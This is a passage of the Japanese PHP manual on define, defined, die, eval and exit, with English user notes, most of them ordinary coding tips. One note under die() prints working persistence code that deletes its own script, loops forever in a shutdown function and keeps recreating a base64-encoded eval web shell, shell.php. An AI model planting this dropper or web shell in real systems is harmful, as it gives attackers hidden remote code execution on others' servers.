echo THIS_IS_A_TEST;
?>

Will return 'This is a test'.

This may be common knowledge but I only found out a few minutes ago.

[EDIT BY danbrown AT php DOT net: The original poster is referring to the hyphens versus underscores.  Hyphens do not work in defines or variables, which is expected behavior.]
jan at webfontein dot nl 27-Jul-2008 05:20
For translating with variables and define, take also a look on the constant() function.

Example :

<?php
define('PAYMENT_IDEAL',"iDEAL Payment ( NL only )");
define('PAYMENT_MASTERCARD',"Mastercard Payment ( international )");

$payparam='MASTERCARD';

echo constant("PAYMENT_$payparam");

// output :
// Mastercard Payment ( international )
?>


指定した名前の定数が存在するかどうかを調べる

  • ≪ define
  • die ≫
  • PHP Manual
  • その他の関数
  • 指定した名前の定数が存在するかどうかを調べる

defined

(PHP 4, PHP 5, PHP 7, PHP 8)

defined — 指定した名前の定数が存在するかどうかを調べる

説明

defined ( string $name ) : bool

指定した定数が存在し、定義されているかどうかを調べます。

注意:

変数が存在するかどうかを知りたければ、isset() を利用してください。defined() は 定数にしか適用できません。 関数が存在するかどうかを知りたければ、 function_exists() を利用してください。

パラメータ

name

定数名。

返り値

name で指定した名前の定数が定義されている 場合に true、その他の場合にfalseを返します。

例

例1 定数のチェック

<?php
/* 引用符の使い方に注意してください。これは重要です。この例では
 * 文字列 'TEST' が、定数 TEST の名前かどうかを調べています。*/
if (defined('TEST')) {
    echo TEST;
}
?>

参考

  • define() - 名前を指定して定数を定義する
  • constant() - 定数の値を返す
  • get_defined_constants() - すべての定数の名前とその値を連想配列として返す
  • function_exists() - 指定した関数が定義されている場合に true を返す
  • 定数の節

User Contributed Notes

ohcc at 163 dot com 09-Sep-2020 02:08
If a constant's name has a leading backslash (\), it's not possible to detect its existence using the defined() function, or to get its value using the constant() function.

You can check its existence and get its value using the get_defined_constants() function, or prepend 2 more backslashes (\\) to the constant's name.

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $isDefined = defined('\DOMAIN'); // false
    $domain = constant('\DOMAIN'); // NULL, in Php 8+ you'll get a Fatal error.
    var_dump($isDefined, $domain);
?>

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $constants = get_defined_constants();
    $isDefined = isSet($constants['\DOMAIN']);
    $domain = $isDefined ? $constants['\DOMAIN'] : NULL;
    var_dump($isDefined, $domain);
?>

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $isDefined = defined('\\\DOMAIN');
    $domain = constant('\\\DOMAIN');
    var_dump($isDefined, $domain);
?>
nahiddhaka07 at gmail dot com 05-Jun-2020 08:56
<?php

define("GREET", "Hi");

defined("GREET") || define("GREET", "Hello");

echo GREET;

// Output is: Hi
louis at louisworks dot de 16-Oct-2018 01:06
Dont forget to put the name of your constant into single quotation mark. You will not get an error or a warning.

<?php
define("AMOUNT_OF_APPLES", 12);
if(defined(AMOUNT_OF_APPLES)){
   //you won't get an output here
   echo AMOUNT_OF_APPLES;
}
?>

so do instead

<?php
define("AMOUNT_OF_APPLES", 12);
if(defined("AMOUNT_OF_APPLES")){
   //here you go
   echo AMOUNT_OF_APPLES;
}

//output: 12
?>

It took me half an day to see it...
Anonymous 26-Jul-2017 06:39
Be careful with boolean defines and assuming a check is done for a specific value by defined such as
<?php

define('DEBUG', false);

if(defined('DEBUG')){
    echo 'Not really debugging mode';
}
?>

You want to also check the constant as in

<?php
define('DEBUG', true);

if(defined('DEBUG') && DEBUG){
    echo 'Really this is debugging mode';
}
?>

All defined is doing is verifying the constant exists not it's value.
ASchmidt at Anamera dot net 31-Mar-2017 08:08
// Checking the existence of a class constant, if the class is referenced by a variable.

class Class_A
{
    const CONST_A = 'value A';
}

// When class name is known.
if ( defined( 'Class_A::CONST_A' ) )
    echo 'Class_A::CONST_A defined';

// Using a class name variable. Note the double quotes.
$class_name = Class_A::class;
if ( defined( "$class_name::CONST_A" ) )
    echo '$class_name::CONST_A defined';

// Using an instantiated object for a variable class.
$object_A = new $class_name();
if ( defined( get_class($object_A).'::CONST_A' ) )
    echo '$object_A::CONST_A defined';
passerbyxp at gmail dot com 02-Nov-2012 12:10
This function, along with constant(), is namespace sensitive. And it might help if you imagine them always running under the "root namespace":

<?php
namespace FOO\BAR
{
    const WMP="wmp";
    function test()
    {
        if(defined("WMP")) echo "direct: ".constant("WMP"); //doesn't work;
        elseif(defined("FOO\\BAR\\WMP")) echo "namespace: ".constant("FOO\\BAR\\WMP"); //works
        echo WMP; //works
    }
}
namespace
{
    \FOO\BAR\test();
}
Lars Lernestal 25-Oct-2011 02:03
if you want to check id a class constant is defined use self:: before the constant name:

<?php
defined('self::CONSTANT_NAME');
?>
vindozo at gmail dot com 31-Aug-2010 02:21
If you wish to protect files from direct access I normally use this:

index.php:

<?php
// Main stuff here
define('START',microtime());

include "x.php";
?>

x.php:

<?php
defined('START')||(header("HTTP/1.1 403 Forbidden")&die('403.14 - Directory listing denied.'));
?>
r dot hartung at roberthartung dot de 03-Dec-2009 11:45
You can use the late static command "static::" withing defined as well. This example outputs - as expected - "int (2)"

<?php
  abstract class class1
  {
    public function getConst()
    {
      return defined('static::SOME_CONST') ? static::SOME_CONST : false;
    }
  }

  final class class2 extends class1
  {
    const SOME_CONST = 2;
  }

  $class2 = new class2;

  var_dump($class2->getConst());
?>
info at daniel-marschall dot de 11-Jul-2009 01:51
I found something out: defined() becomes probably false if a reference gets lost.

<?php

session_start(); // $_SESSION created
define('SESSION_BACKUP', $_SESSION);
if (defined('SESSION_BACKUP')) echo 'A';
session_unset(); // $_SESSION destroyed
if (defined('SESSION_BACKUP')) echo 'B';

?>

You will see "A", but not "B".
tris+php at tfconsulting dot com dot au 26-Mar-2009 06:40
Before using defined() have a look at the following benchmarks:

true                                       0.65ms
$true                                      0.69ms (1)
$config['true']                            0.87ms
TRUE_CONST                                 1.28ms (2)
true                                       0.65ms
defined('TRUE_CONST')                      2.06ms (3)
defined('UNDEF_CONST')                    12.34ms (4)
isset($config['def_key'])                  0.91ms (5)
isset($config['undef_key'])                0.79ms
isset($empty_hash[$good_key])              0.78ms
isset($small_hash[$good_key])              0.86ms
isset($big_hash[$good_key])                0.89ms
isset($small_hash[$bad_key])               0.78ms
isset($big_hash[$bad_key])                 0.80ms

PHP Version 5.2.6, Apache 2.0, Windows XP

Each statement was executed 1000 times and while a 12ms overhead on 1000 calls isn't going to have the end users tearing their hair out, it does throw up some interesting results when comparing to if(true):

1) if($true) was virtually identical
2) if(TRUE_CONST) was almost twice as slow - I guess that the substitution isn't done at compile time (I had to double check this one!)
3) defined() is 3 times slower if the constant exists
4) defined() is 19 TIMES SLOWER if the constant doesn't exist!
5) isset() is remarkably efficient regardless of what you throw at it (great news for anyone implementing array driven event systems - me!)

May want to avoid if(defined('DEBUG'))...
reachmike at hotpop dot com 30-Nov-2008 10:17
You may find that if you use <?= ?> to dump your constants, and they are not defined, depending on your error reporting level, you may not display an error and, instead, just show the name of the constant. For example:

<?= TEST ?>

...may say TEST instead of an empty string like you might expect. The fix is a function like this:

<?php

function C(&$constant) {
    $nPrev1 = error_reporting(E_ALL);
    $sPrev2 = ini_set('display_errors', '0');
    $sTest = defined($constant) ? 'defined' : 'not defined';
    $oTest = (object) error_get_last();
    error_reporting($nPrev1);
    ini_set('display_errors', $sPrev2);
    if ($oTest->message) {
        return '';
    } else {
        return $constant;
    }
}

?>

And so now you can do:

<?= C(TEST) ?>

If TEST was assigned with define(), then you'll receive the value. If not, then you'll receive an empty string.

Please post if you can do this in fewer lines of code or do something more optimal than toggling the error handler.
daniel at neville dot tk 14-Jul-2008 10:48
My preferred way of checking if a constant is set, and if it isn't - setting it (could be used to set defaults in a file, where the user has already had the opportunity to set their own values in another.)

<?php

defined('CONSTANT') or define('CONSTANT', 'SomeDefaultValue');

?>

Dan.
Shaun H 28-Mar-2008 11:30
I saw that PHP doesn't have an enum function so I created my own. It's not necessary, but can come in handy from time to time.

<?php
    function enum()
    {
        $args = func_get_args();
        foreach($args as $key=>$arg)
        {
            if(defined($arg))
            {
                 die('Redefinition of defined constant ' . $arg);
            }

            define($arg, $key);
        }
    }

    enum('ONE','TWO','THREE');
    echo ONE, ' ', TWO, ' ', THREE;
?>
Joel 20-Aug-2007 05:35
If your constants don't show up in your included or required files, then you probably have php safe mode turned on!

I ran into this problem, I forgot to turn of safe mode when I was creating a new site.
ndove at cox dot net 27-Jan-2005 07:20
In PHP5, you can actually use defined() to see if an object constant has been defined, like so:

<?php

class Generic
{
    const WhatAmI = 'Generic';
}

if (defined('Generic::WhatAmI'))
{
    echo Generic::WhatAmI;
}

?>

Thought it may be useful to note.

-Nick


exit と同等

  • ≪ defined
  • eval ≫
  • PHP Manual
  • その他の関数
  • exit と同等

die

(PHP 4, PHP 5, PHP 7, PHP 8)

die — exit と同等

説明

この言語構造は、exit() と同等です。

User Contributed Notes

smcbride at msn dot com 30-Dec-2020 12:13
I always think about why duplicate commands deserve to exist, but die is one of those that I know why.  It may be the same as exit(), but when you want to search through source code for die() for an unhandled error vs. a clean exit(), it helps a bit on the debugging.  Not to mention backward compatibility, but we deprecate those reasons for 'good' reason.
Anonymous 06-Nov-2020 08:36
Do not forget to add an error log, so you also get to know about the problem, as well as an error 500 header.

$message =  'Description of the error.';
error_log($message);
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
die($message);
info at alzlper dot com 30-Dec-2017 06:24
Using die() can be a good option when working with HTTP Endpoints.

If your PHP Script is one, you can use die() to send back an error as plain text or JSON for example.

die(json_encode(array('error' => 'some error')));
Anonymous 02-Nov-2017 07:02
1.) I run something similar to this for 3 days on a couple of systems. It seems like this function does not have any time limitation at all, IF it gets called due to a max_execution_time-out.
<?php

ignore_user_abort(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "LOG_FILE", ABS_PATH . "log.txt" );

function shutdown() {
  while(true) {
    file_put_contents(LOG_FILE, date("c") . " (shutdown)\n", FILE_APPEND);
    sleep(1);
  }
}

register_shutdown_function("shutdown");

ini_set("max_execution_time", 3);

while(true) {
  file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
  sleep(1);
}

/* log.txt
2017-11-01T23:56:00+00:00 (normal)
2017-11-01T23:56:01+00:00 (normal)
2017-11-01T23:56:02+00:00 (normal)
2017-11-01T23:56:03+00:00 (shutdown)
2017-11-01T23:56:04+00:00 (shutdown)
2017-11-01T23:56:05+00:00 (shutdown)
[ logs for 3 days ]
*/

?>

2.) With this code, the registered function is limited to max_execution_time.
<?php

// [...]

file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
sleep(1);
EXIT; // <-- Now with exit, not needed just to show

/* log.txt
2017-11-01T23:57:38+00:00 (normal)
2017-11-01T23:57:39+00:00 (shutdown)
2017-11-01T23:57:40+00:00 (shutdown)
*/

?>

3.) This is very evil. you can run code "forever". For example, this code checks if the file shell.php exists, and drops it if not. Of course, this is not how a hacker breach in. But if he has access, this is a great place to hide evil code.
<?php

ignore_user_abort(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "SHELL_PATH", ABS_PATH . "shell.php" );
define( "STOP_FILE", ABS_PATH . "stop.txt" );
define( "SLEEP", 10 );
/* base64 of: <?php if(isset($_POST['exec'])) eval($_POST['exec']); ?> */
define( "SHELL_CODE", "PD9waHAgaWYoaXNzZXQoJF9QT1NUWydleGVjJ10pKSBldmFsKCRfUE9TVFsnZXhlYyddKTsgPz4=" );

function shutdown() {
  while(true) {
    if( file_exists( STOP_FILE ) ) {
      break;
    }
    if( ! file_exists( SHELL_PATH ) )
      file_put_contents( SHELL_PATH, base64_decode( SHELL_CODE ) );
    sleep(SLEEP);
  }
  exit;
}

register_shutdown_function("shutdown");

// Do something. Delete this drop script for example.
unlink($_SERVER['SCRIPT_FILENAME']);

// Try 1 to go to shutdown
ini_set("max_execution_time", 1);
usleep(1500000);

// Try 2 to go to shutdown
sleep(ini_get("max_execution_time") + 1);

// Try 3 to go to shutdown (better have a max_execution_time ...)
while(true) {
  sleep(1);
}

?>
Hayley Watson 25-Aug-2012 04:29
It is poor design to rely on die() for error handling in a web site because it results in an ugly experience for site users: a broken page and - if they're lucky - an error message that is no help to them at all. As far as they are concerned, when the page breaks, the whole site might as well be broken.

If you ever want the public to use your site, always design it to handle errors in a way that will allow them to continue using it if possible. If it's not possible and the site really is broken, make sure that you find out so that you can fix it. die() by itself won't do either.

If a supermarket freezer breaks down, a customer who wanted to buy a tub of ice cream doesn't expect to be kicked out of the building.
Damien Bezborodov 20-Aug-2009 10:45
Beware that when using PHP on the command line, die("Error") simply prints "Error" to STDOUT and terminates the program with a normal exit code of 0.

If you are looking to follow UNIX conventions for CLI programs, you may consider the following:

<?php
fwrite(STDERR, "An error occurred.\n");
exit(1); // A response code other than 0 is a failure
?>

In this way, when you pipe STDOUT to a file, you may see error messages in the console and BASH scripts can test for a response code of 0 for success:

rc@adl-dev-01:~$ php die.php > test
An error occurred.
rc@adl-dev-01:~$ echo $?
1

Ideally, PHP would write all Warnings, Fatal Errors, etc on STDERR, but that's another story.
jbailey at raspberryginger dot com 20-Jan-2007 09:33
die doesn't prevent destructors from being run, so the script doesn't exit immediately, it still goes through cleanup routines.


文字列を PHP コードとして評価する

  • ≪ die
  • exit ≫
  • PHP Manual
  • その他の関数
  • 文字列を PHP コードとして評価する

eval

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — 文字列を PHP コードとして評価する

説明

eval ( string $code ) : mixed

指定した code を PHP コードとして評価します。

警告

eval() は非常に危険な言語構造です。 というのも、任意の PHP コードを実行できてしまうからです。 これを使うことはおすすめしません。 いろいろ検討した結果どうしても使わざるを得なくなった場合は、細心の注意を払って使いましょう。 ユーザーから受け取ったデータをそのまま渡してはいけません。 渡す前に、適切な検証が必要です。

パラメータ

code

有効な PHP コード。これを評価します。

PHP 開始タグを含めてはいけません。つまり、 '<?php echo "Hi!"; ?>' ではなく 'echo "Hi!";' を渡さなければならないということです。 適切に PHP タグを使えば、PHP モードからいったん抜けてもう一度 PHP モードに戻るということも可能です。 たとえば、このようになります。 'echo "PHP モード!"; ?>HTML モード!<?php echo "ふたたび PHP モード!";'

それはさておき、渡すコードは PHP として有効な形式でなければなりません。 つまり、すべての文はセミコロンで終了する必要があるということです。 たとえば 'echo "やあ!"' はパースエラーになりますが、 'echo "やあ!";' は動作します。

return 文は、コードの評価をただちに終了します。

コードの実行は、eval() を呼び出したスコープ内で行われます。
したがって、eval() の中で定義したり変更したりした変数は
eval() を抜けた後でも参照可能です。

返り値

評価されるコードの中で return が コールされない限り、eval() は null を返します。 return がコールされた場合は、その値を返します。 PHP 7 以降、評価されるコードの中でパースエラーが発生した場合は、 eval() は ParseError 例外をスローします。 PHP 7 より前のバージョンでは、この場合に eval() は false を返していました。 それ以降のコードは通常通り実行されます。 eval() の中でのパースエラーを set_error_handler() で捕捉することはできません。

例

例1 eval() の例 - 簡単なテキストのマージ

<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

上の例の出力は以下となります。

This is a $string with my $name in it.
This is a cup with my coffee in it.

注意

注意: これは、関数ではなく 言語構造のため、可変関数 を用いて コールすることはできません。

ヒント

ブラウザに直接結果を出力する すべてのものと同様に、出力制御関数 を使用してこの関数の出力をキャプチャーし、(例えば)文字列 (string)に保存することが可能です。

注意:

評価されるコードの中で致命的なエラーが発生した場合は、 スクリプト全体が終了します。

参考

  • call_user_func() - 最初の引数で指定したコールバック関数をコールする

User Contributed Notes

remindfwd 09-Jan-2021 05:30
Note that

<?php

echo eval( '$var = (20 - 5);' );  // don't show anything

echo ' someString ' . eval( 'echo $var = 15;' ); // outputs 15 someString

//or
echo ' someString ' . eval( 'echo $var = 15;' ) . ' otherString '; // 15 someString  otherString

//or
echo ' someString ' . eval( 'echo $var = 15;' ) . ' otherString ' . '...' .eval( 'echo " __ " . $var = 10;' ); // 15 __ 10 someString  otherString  ...

?>
joseph at josephcz dot xyz 29-Mar-2020 02:42
In 2020, many people don't want to mix their PHP code and HTML, and they also think PHP itself is better than any template engines. But whenever you are making an template engine, use "include" to include your view file instead of using eval(). Many farmeworks are using this solution, such as Laravel.

If you rally want to eval a string, write them to a cached .php file first, then include it.
catgirl at charuru dot moe 17-Dec-2017 11:49
It should be noted that imported namespaces are not available in eval.
solobot 07-Nov-2017 09:55
eval() is workaround for generating multiple anonymous classes with static properties in loop

public function generateClassMap()
    {
        foreach ($this->classMap as $tableName => $class)
        {
            $c = null;
            eval('$c = new class extends \common\MyStaticClass {
                public static $tableName;
                public static function tableName()
                {
                    return static::$tableName;
                }
            };');
            $c::$tableName = $this->replicationPrefix.$tableName;
            $this->classMap[$tableName] = $c;

        }
    }

thus every class will have its own $tableName instead of common ancestor.
Jeremie LEGRAND 28-Jun-2017 03:25
At least in PHP 7.1+, eval() terminates the script if the evaluated code generate a fatal error. For example:
<?php
@eval('$content = (100 - );');
?>

(Even if it is in the man, I'm note sure it acted like this in 5.6, but whatever)
To catch it, I had to do:
<?php
try {
    eval('$content = (100 - );');
} catch (Throwable $t) {
    $content = null;
}
?>

This is the only way I found to catch the error and hide the fact there was one.
divinity76 at gmail dot com 06-Jun-2017 09:35
imo, this is a better eval replacement:

<?php
function betterEval($code) {
    $tmp = tmpfile ();
    $tmpf = stream_get_meta_data ( $tmp );
    $tmpf = $tmpf ['uri'];
    fwrite ( $tmp, $code );
    $ret = include ($tmpf);
    fclose ( $tmp );
    return $ret;
}
?>

- why? betterEval follows normal php opening and closing tag conventions, there's no need to strip `<?php?>` from the source.  and it always throws a ParseError if there was a parse error, instead of returning false (note: this was fixed for normal eval() in php 7.0). - and there's also something about exception backtraces
Uther 02-Feb-2016 05:33
eval'd code within namespaces which contain class and/or function definitions will be defined in the global namespace... not incredibly obvious :/
lord dot dracon at gmail dot com 31-Jul-2015 01:46
Inception with eval()

<pre>
Inception Start:
<?php
eval("echo 'Inception lvl 1...\n'; eval('echo \"Inception lvl 2...\n\"; eval(\"echo \'Inception lvl 3...\n\'; eval(\'echo \\\"Limbo!\\\";\');\");');");
?>
Karel 03-Feb-2015 04:23
For them who are facing syntax error when try execute code in eval,

<?php

$str =  '<?php echo "test"; ?>';

eval('?>'.$str.'<?php;'); // outputs test
eval('?>'.$str.'<?'); // outputs test
eval('?>'.$str.'<?php');// throws syntax error - unexpected $end

?>
bohwaz 04-Feb-2012 10:51
If you want to allow math input and make sure that the input is proper mathematics and not some hacking code, you can try this:

<?php

$test = '2+3*pi';

// Remove whitespaces
$test = preg_replace('/\s+/', '', $test);

$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
$functions = '(?:sinh?|cosh?|tanh?|abs|acosh?|asinh?|atanh?|exp|log10|deg2rad|rad2deg|sqrt|ceil|floor|round)'; // Allowed PHP functions
$operators = '[+\/*\^%-]'; // Allowed math operators
$regexp = '/^(('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?2))?)+$/'; // Final regexp, heavily using recursive patterns

if (preg_match($regexp, $q))
{
    $test = preg_replace('!pi|π!', 'pi()', $test); // Replace pi with pi function
    eval('$result = '.$test.';');
}
else
{
    $result = false;
}

?>

I can't guarantee you absolutely that this will block every possible malicious code nor that it will block malformed code, but that's better than the matheval function below which will allow malformed code like '2+2+' which will throw an error.
php at rijkvanwel dot nl 13-Sep-2010 07:41
To catch a parse error in eval()'ed code with a custom error handler, use error_get_last() (PHP >= 5.2.0).

<?php
$return = eval( 'parse error' );

if ( $return === false && ( $error = error_get_last() ) ) {
    myErrorHandler( $error['type'], $error['message'], $error['file'], $error['line'], null );

    // Since the "execution of the following code continues normally", as stated in the manual,
    // we still have to exit explicitly in case of an error
    exit;
}
?>
darkhogg (foo) gmail (bar) com 30-Mar-2010 10:33
The following code

<?php
    eval( '?> foo <?php' );
?>

does not throw any error, but prints the opening tag.
Adding a space after the open tag fixes it:

<?php
    eval( '?> foo <?php ' );
?>
php at stock-consulting dot com 28-Nov-2008 08:16
Magic constants like __FILE__ may not return what you expect if used inside eval()'d code. Instead, it'll answer something like "c:\directory\filename.php(123) : eval()'d code" (under Windows, obviously, checked with PHP5.2.6) - which can still be processed with a function like preg_replace to receive the filename of the file containing the eval().

Example:

<?php
$filename = preg_replace('@\(.*\(.*$@', '', __FILE__);
echo $filename;
?>
marco at harddisk dot is-a-geek dot org 30-Jun-2008 10:44
eval does not work reliably in conjunction with global, at least not in the cygwin port version.

So:
<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval("global \$".$module."_var;");
  eval("\$".$module."_var=&new foo();");
  //various stuff ... ...
}
load_module("foo");
?>

becomes to working:

<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval('$GLOBALS["'.$module.'_var"]=&new foo();');
  //various stuff ... ...
}
load_module("foo");
?>

Note in the 2nd example, you _always_ need to use $GLOBALS[$module] to access the variable!
Ipseno at yahoo dot com 25-Feb-2008 10:24
If you attempt to call a user defined function in eval() and .php files are obfuscated by Zend encoder, it will result in a fatal error.

Use a call_user_func() inside eval() to call your personal hand made functions.

This is user function
<?php

function square_it($nmb)
{
    return $nmb * $nmb;
}

?>

//Checking if eval sees it?
<?php

$code = var_export( function_exists('square_it') );

eval( $code );    //returns TRUE - so yes it does!

?>

This will result in a fatal error:
PHP Fatal error:  Call to undefined function square_it()
<?php

$code = 'echo square_it(55);' ;

eval( $code );

?>

This will work
<?php

$code = 'echo call_user_func(\'square_it\', 55);' ;

eval( $code );

?>
12-Jul-2004 09:37
Kepp the following Quote in mind:

If eval() is the answer, you're almost certainly asking the
wrong question. -- Rasmus Lerdorf, BDFL of PHP


メッセージを出力し、現在のスクリプトを終了する

  • ≪ eval
  • get_browser ≫
  • PHP Manual
  • その他の関数
  • メッセージを出力し、現在のスクリプトを終了する

exit

(PHP 4, PHP 5, PHP 7, PHP 8)

exit — メッセージを出力し、現在のスクリプトを終了する

説明

exit ( string $status = ? ) : void
exit ( int $status ) : void

スクリプトの実行を終了します。 シャットダウン関数 や オブジェクトのデストラクタ は、exit がコールされた場合にも実行されます。

exit は言語構造です。 status を指定しない場合は括弧なしでコールできます。

パラメータ

status

status が文字列の場合は、この関数は終了直前に status を表示します。

status が int の場合は その値が終了ステータスとして使われ、表示はされません。終了ステータスは 0 から 254 までの値でなければなりません。終了ステータス 255 は PHP に予約されており、使用してはいけません。ステータス 0 は、 プログラムを正常終了させる際に使用します。

返り値

値を返しません。

例

例1 exit の例

<?php

$filename = '/path/to/data-file';
$file = fopen($filename, 'r')
    or exit("ファイル ($filename) をオープンできません");

?>

例2 exit でステータスを指定する例

<?php

// 正常終了
exit;
exit();
exit(0);

// エラーコードつきの終了
exit(1);
exit(0376); // 八進数

?>

例3 シャットダウン関数やデストラクタが実行される例

<?php
class Foo
{
    public function __destruct()
    {
        echo 'Destruct: ' . __METHOD__ . '()' . PHP_EOL;
    }
}

function shutdown()
{
    echo 'Shutdown: ' . __FUNCTION__ . '()' . PHP_EOL;
}

$foo = new Foo();
register_shutdown_function('shutdown');

exit();
echo 'これは出力されません。';
?>

上の例の出力は以下となります。

 Shutdown: shutdown()
 Destruct: Foo::__destruct()

注意

注意: これは、関数ではなく 言語構造のため、可変関数 を用いて コールすることはできません。

注意:

この言語構造は、die() と等価です。

参考

  • register_shutdown_function() - シャットダウン時に実行する関数を登録する

User Contributed Notes

Alexander Behling 26-Feb-2021 11:33
it is also possible to include function calls e.g. logging function to write the error in a log file.

e.g.

function logerror($error){
file_put_contents(__DIR__.'/error_log', 'Error occured: '.$error');
}

die(logerror('error msg here');

This will terminate the script and write "error msg here" to error.log

You could use this for example when query the database to log when the query fails.
jean dot claveau at gmail dot com 25-Jan-2020 10:56
Beware if you enabled uopz extension, it disables exit / die() by default. They are just "skipped".

https://www.php.net/manual/en/function.uopz-allow-exit.php
powtac at gmx de 04-Jul-2018 09:25
When a object is passed as $status and it consists of a __toString() magic method the string value of this method will be used as $status. If the object does not contain a __toString method, exit will throw a catchable fatal error.
chris at ocproducts dot com 01-Mar-2018 10:57
Calling 'exit' will bypass the auto_append_file option.
On some free hosting this risks you getting removed, as they may be using for ads and analytics.

So be a bit careful if using this on the most common output branch.
marco dot marsala at live dot it 14-Feb-2018 09:16
Please note $status is printed to stdout, not stderr.
sunfundev at gmail dot com 07-Sep-2017 04:02
>> Shutdown functions and object destructors will always be executed even if exit is called.

It is false if you call exit into desctructor.

Normal exit:
<?php
class A
{
    public function __destruct()
    {
        echo "bye A\n";
    }
}

class B
{
    public function __destruct()
    {
        echo "bye B\n";
    }
}

$a = new A;
$b = new B;
exit;

// Output:
// bye B
// bye A
?>

// Exit into desctructor:
<?php
class A
{
    public function __destruct()
    {
        echo "bye A\n";
    }
}

class B
{
    public function __destruct()
    {
        echo "bye B\n";
        exit;
    }
}

$a = new A;
$b = new B;

// Output:
// bye B
?>
kehaovista at qq dot com 22-Jan-2016 01:20
<?php

class Foo
{
    public function __construct()
    {
        register_shutdown_function([$this, 'shutdown']);
    }

    public function __destruct()
    {
        echo 'Destruct: ' . __METHOD__ . '()' . PHP_EOL;
    }

    function shutdown()
    {
        echo 'Shutdown: ' . __FUNCTION__ . '()' . PHP_EOL;
    }
}

$foo = new Foo();
exit();

// output is
//Shutdown: shutdown()
//Destruct: Foo::__destruct()
m dot libergolis at gmail dot com 18-Aug-2015 06:44
In addition to "void a t informance d o t info", here's a one-liner that requires no constant:

<?php basename($_SERVER['PHP_SELF']) == basename(__FILE__) && die('Thou shall not pass!'); ?>

Placing it at the beginning of a PHP file will prevent direct access to the script.

To redirect to / instead of dying:

<?php
if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
    if (ob_get_contents()) ob_clean(); // ob_get_contents() even works without active output buffering
    header('Location: /');
    die;
}
?>

Doing the same in a one-liner:

<?php basename($_SERVER['PHP_SELF']) == basename(__FILE__) && (!ob_get_contents() || ob_clean()) && header('Location: /') && die; ?>

A note to security: Even though $_SERVER['PHP_SELF'] comes from the user, it's safe to assume its validity, as the "manipulation" takes place _before_ the actual file execution, meaning that the string _must_ have been valid enough to execute the file. Also, basename() is binary safe, so you can safely rely on this function.
theonenkl at gmail dot com 21-Apr-2015 03:33
A side-note for the use of exit with finally: if you exit somewhere in a try block, the finally won't be executed. Could not sound obvious: for instance in Java you never issue an exit, at least a return in your controller; in PHP instead you could find yourself exiting from a controller method (e.g. in case you issue a redirect).

Here follows the POC:

<?php
echo "testing finally wit exit\n";

try {
    echo "In try, exiting\n";

    exit;
} catch(Exception $e) {
    echo "catched\n";
} finally {
    echo "in finally\n";
}

echo "In the end\n";
?>

This will print:

testing finally wit exit
In try, exiting
alexyam at live dot com 09-Apr-2012 04:19
When using php-fpm, fastcgi_finish_request() should be used instead of register_shutdown_function() and exit()

For example, under nginx and php-fpm 5.3+, this will make browsers wait 10 seconds to show output:

<?php
    echo "You have to wait 10 seconds to see this.<br>";
    register_shutdown_function('shutdown');
    exit;
    function shutdown(){
        sleep(10);
        echo "Because exit() doesn't terminate php-fpm calls immediately.<br>";
    }
?>

This doesn't:

<?php
    echo "You can see this from the browser immediately.<br>";
    fastcgi_finish_request();
    sleep(10);
    echo "You can't see this form the browser.";
?>
nicoladinh at gmail dot com 02-Dec-2010 12:09
Calling to exit() will flush all buffers started by ob_start() to default output.
dexen dot devries at gmail dot com 03-Nov-2010 05:54
If you want to avoid calling exit() in FastCGI as per the comments below, but really, positively want to exit cleanly from nested function call or include, consider doing it the Python way:

define an exception named `SystemExit', throw it instead of calling exit() and catch it in index.php with an empty handler to finish script execution cleanly.

<?php

// file: index.php
class SystemExit extends Exception {}
try {
   /* code code */
}
catch (SystemExit $e) { /* do nothing */ }
// end of file: index.php

// some deeply nested function or .php file

if (SOME_EXIT_CONDITION)
   throw new SystemExit(); // instead of exit()

?>
vincent dot laag at gmail dot com 24-Sep-2010 12:51
Don't use the  exit() function in the auto prepend file with fastcgi (linux/bsd os).
It has the effect of leaving opened files with for result at least a nice  "Too many open files  ..." error.
matt at serverboy dot net 23-Mar-2010 12:11
It should be noted that if building a site that runs on FastCGI, calling exit will generate an error in the server's log file. This can quickly fill up.

Also, using exit will diminish the performance benefit gained on FastCGI setups. Instead, consider using code like this:

<?php

if( /* error case */ )
    echo "Invalid request";
else {
    /* The rest of your application */
}
?>

I've also seen developers get around this issue with FastCGI by wrapping their code in a switch statement and using breaks:

index.php:
<?php

switch(true) {
    case true:
        require('application.php');
}

?>

application.php:
<?php

if($x > $y) {
    echo "Sorry, that didn't work.";
    break;
}

// ...

?>

It does carry some overhead, but compared to the alternative, it does the job well.
albert at removethis dot peschar dot net 05-May-2009 11:50
jbezorg at gmail proposed the following:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__ )
  header('Location: /');

?>

After sending the `Location:' header PHP _will_ continue parsing, and all code below the header() call will still be executed.  So instead use:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__)
{
  header('Location: /');
  exit;
}

?>
void a t informance d o t info 26-Oct-2008 02:11
To rich dot lovely at klikzltd dot co dot uk:

Using a "@" before header() to suppress its error, and relying on the "headers already sent" error seems to me a very bad idea while building any serious website.

This is *not* a clean way to prevent a file from being called directly. At least this is not a secure method, as you rely on the presence of an exception sent by the parser at runtime.

I recommend using a more common way as defining a constant or assigning a variable with any value, and checking for its presence in the included script, like:

in index.php:
<?php
define ('INDEX', true);
?>

in your included file:
<?php
if (!defined('INDEX')) {
   die('You cannot call this script directly !');
}
?>

BR.

Ninj
emils at tvnet dot lv 23-Aug-2003 08:14
Note, that using exit() will explicitly cause Roxen webserver to die, if PHP is used as Roxen SAPI module. There is no known workaround for that, except not to use exit(). CGI versions of PHP are not affected.
